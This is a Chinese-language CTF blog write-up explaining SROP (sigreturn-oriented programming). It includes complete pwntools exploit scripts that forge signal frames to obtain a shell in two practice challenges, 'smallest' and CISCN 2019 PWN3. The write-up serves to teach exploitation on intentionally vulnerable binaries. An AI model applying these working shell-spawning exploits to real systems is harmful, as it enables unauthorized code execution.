Featured image of post pwn SROP 利用

pwn SROP 利用

字数: 2178

SROP 通过在栈上伪造 Signal 帧并且触发 sigreturn 系统调用陷入内核态,在返回用户态恢复上下文时将攻击者伪造的 signal 帧数据写入所有的寄存器,从而控制程序执行流。

研究 SROP 花费了漫长时间,但是也算是从用户态触碰到了一点点内核态。一段伪造的用户栈的 signal 帧,欺骗了内核,让程序的执行流引向我们所希望的那样。

sigreturn 系统调用

在 /usr/include/asm/unistd_64.h 内定义了 sigreturn 的系统调用号:

1
#define __NR_rt_sigreturn 15

只要 rax = 15,并且调用 syscall 就陷入 sigreturn 系统调用。

Linux 信号机制

真实的触发机制为:接收到 signal 信号后,内核会暂停该进程的运行,向其的用户栈压入 struct rt_sigframe 结构,该结构保存了进程的上下文,包括寄存器的状态。

amd64 Linux 的 rt_sigframe 结构

当 signal 执行完成,Signal Handler 返回时候会调用 sigreturn 系统调用从 struct rt_sigframe 中恢复保存的上下文,pop 寄存器信息,恢复程序的执行。
问题就在于这个 struct rt_sigframe 是存在于用户栈中的,且在 handler 返回之后调用 sigreturn 调用,内核不会检查 rt_sigframe 是否真实就开始恢复,这就给了我们伪造一个 struct rt_sigframe 然后调用 sigreturn 劫持程序执行流。

2016-360春秋杯-srop

题目:来自 CTF Wiki 的 github 仓库。

分析

就一段汇编,很小。保护仅 NX。直接 objdump 看看得了:

1
2
3
4
5
6
7
00000000004000b0 <.text>:
  4000b0:  	xor    %rax,%rax
  4000b3:  	mov    $0x400,%edx
  4000b8:  	mov    %rsp,%rsi
  4000bb:  	mov    %rax,%rdi
  4000be:  	syscall
  4000c0:  	ret

实际就是执行:

1
sys_read(0, (char *)&retaddr, 0x400u);

从 stdin 写入大量数据到栈上。

可以栈溢出。

利用

如此简短的代码,肯定是几个 ROP 能用了。唯一算是 ROP 的就 syscall;ret; 吧。
这道题要用 SROP,构造几个 rt_sigframe 达到获得 shell 的目的。

好在,pwntools 已经有了 class SigreturnFrame() 可以构造 rt_sigframe 进行 srop 攻击。

通过 read 将读取的字符数写入 rax 这一特性来构造 rax = 15。
首先要泄漏栈地址,先往栈上写 3 次回调 start。第一次调用 read 写入 \xb3,跳过 xor eax, eax 使得 eax 保持为 1(这里 1 是因为上次写 \xb3 为一字节),这样就直接把 rsp 之后的内容都输出出来。
用 pwndbg 单步执行到 syscall SYS_read 位置,确认 [8:16] 保持的是环境变量,在栈上的地址,直接用这个拿来篡改 rsp。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
syscall_ret = 0x4000BE
start_addr = 0x4000B0

payload = p64(start_addr) * 3
io.send(payload)
sleep(0.1)

io.send(b"\xb3")
leaked = io.recvn(0x400)
stack_addr = u64(leaked[8:16])

print("leak stack address :", hex(start_addr))

第三次回到 start,再构造一次返回 start,但是这一次后面补上 syscall;ret; 还有 rt_sigframe:

这里的 sigframe 不能直接用 execve,我们需要构造 /bin/sh ,只有栈上可以写,但是我们现在无法以寄存器的偏移量进行写入。栈地址我们获取到的不是确切的 rsp 地址,这里用一次 read,确定 rsi 作为下一次 execve 的 sigframe 地址,将 rsp 换到我们得到的 stack 地址,有点栈迁移的样子了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read  # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
io.send(payload)

程序接下来又回到 start,执行 read。rsp 指向我们之前放 syscall_ret 的位置,这个时候写 15 字节,重新覆盖 syscall,后面会触及 sigframe。不过 sigframe 头部为 rt_sigreturn() 问题不大。

1
2
sigreturn = p64(syscall_ret) + b"\x00" * 7
io.send(sigreturn)

接下来,ip 运行 syscall,开始执行 sigreturn 系统调用,将后面的 sigframe 保存的信息恢复过来,再次执行 read 函数,从 stdin 往 stack_addr 写入数据,此时 rsp 也换到了 stack_addr。
接下来构建 execve 的 sigframe,并且此时可以通过 stack_addr 偏移的方式得到 /bin/sh\x00 的地址。我们往远一点的地方写 /bin/sh\x00,因为 sigframe 比较大(248 字节),我们选择 stack_addr + 0x120 写入 shell。接下来构建栈帧:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve  # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret


frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
print(len(frame_payload))
payload = frame_payload.ljust(0x120, b"\x00") + b"/bin/sh\x00"
io.send(payload)

sigreturn = p64(syscall_ret) + b"\x00" * 7
io.send(sigreturn)

这里构建的是

1
execve(shell_addr, 0, 0);

也还是和上一次一样,回到 start_addr 调用 read 写入 esp。因为前面的 esp 被篡改成 stack_addr 了,所以得以我们所愿。伴随 ip 指针的移动,陷入内核态,内核恢复寄存器,运行 execve 就拿到 shell 了。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
io = process("./smallest")

syscall_ret = 0x4000BE
start_addr = 0x4000B0

payload = p64(start_addr) * 3
io.send(payload)
sleep(0.1)

io.send(b"\xb3")
leaked = io.recvn(0x400)
stack_addr = u64(leaked[8:16])

print("leak stack address :", hex(start_addr))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read  # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
io.send(payload)

io.send(p64(syscall_ret) + b"\x00" * 7)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve  # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret


frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
print(len(frame_payload))
payload = frame_payload.ljust(0x120, b"\x00") + b"/bin/sh\x00"
io.send(payload)

io.send(p64(syscall_ret) + b"\x00" * 7)
io.interactive()

[CISCN 2019华南]PWN3

实际上,我看到 SROP 是在写这道题的时候,然后开始查阅资料,做 smallest_pwn。
整体上是和上一题差不多的。这里直接用栈地址偏移量写 shell 字符串。

保护:

1
2
3
4
5
6
7
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2019华南-PWN3/pwn3'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
  return vuln();
}

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400u);
  return sys_write(1u, buf, 0x30u);
}

这里有 write 可以直接读到栈地址。首先改写 ret address 回到 main 函数,在这里会有一次泄漏栈地址的机会,由此拿到栈地址:

1
2
3
4
5
6
7
8
9
main = 0x4004f1
syscall_ret = 0x400517
ret15 = 0x4004da

payload = b"a" * (0x10) + p64(main)
io.send(payload)
output = io.recv()
stack_addr = u64(output[32:38].ljust(8, b"\x00"))
print("stack address =", hex(stack_addr))

这里通过 pwndbg 调试拿到 buf 的地址。接下来构建 sigframe。我们将 /bin/sh 放到 buf 的位置。后面进行栈溢出执行 rt_sigreturn。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve  # pyright: ignore[reportAttributeAccessIssue]
sigFrame.rdi = stack_addr - 0x160
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall_ret

payload = b"/bin/sh\x00".ljust(0x10, b'\x00') + p64(ret15) + p64(syscall_ret) + bytes(sigFrame)

io.send(payload)

这里的 stack_addr - 0x160 是 pwndbg 动调得来的。 对输入前 gdb.attach,等输入后用 search 找到 /bin/sh 的地址:

这里计算:0x7fff362c4f08 - 0x7fff362c4da8 = 0x160 所以直接就 - 0x160 得来。但是 nssctf 远程是 0x110 ,很逆天。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context(os="linux", arch="amd64")
io = process("./pwn3")
#io = remote("node5.anna.nssctf.cn", 23312)

main = 0x4004f1
syscall_ret = 0x400517
ret15 = 0x4004da

payload = b"a" * (0x10) + p64(main)
io.send(payload)
output = io.recv()
stack_addr = u64(output[32:38].ljust(8, b"\x00"))
print("stack address =", hex(stack_addr))

sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve  # pyright: ignore[reportAttributeAccessIssue]
sigFrame.rdi = stack_addr - 0x160
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall_ret

payload = b"/bin/sh\x00".ljust(0x10, b'\x00') + p64(ret15) + p64(syscall_ret) + bytes(sigFrame)

gdb.attach(io)
io.send(payload)

io.interactive()

参考资料

  1. CTF Wiki-SROP
  2. Framing Signals—A Return to Portable Shellcode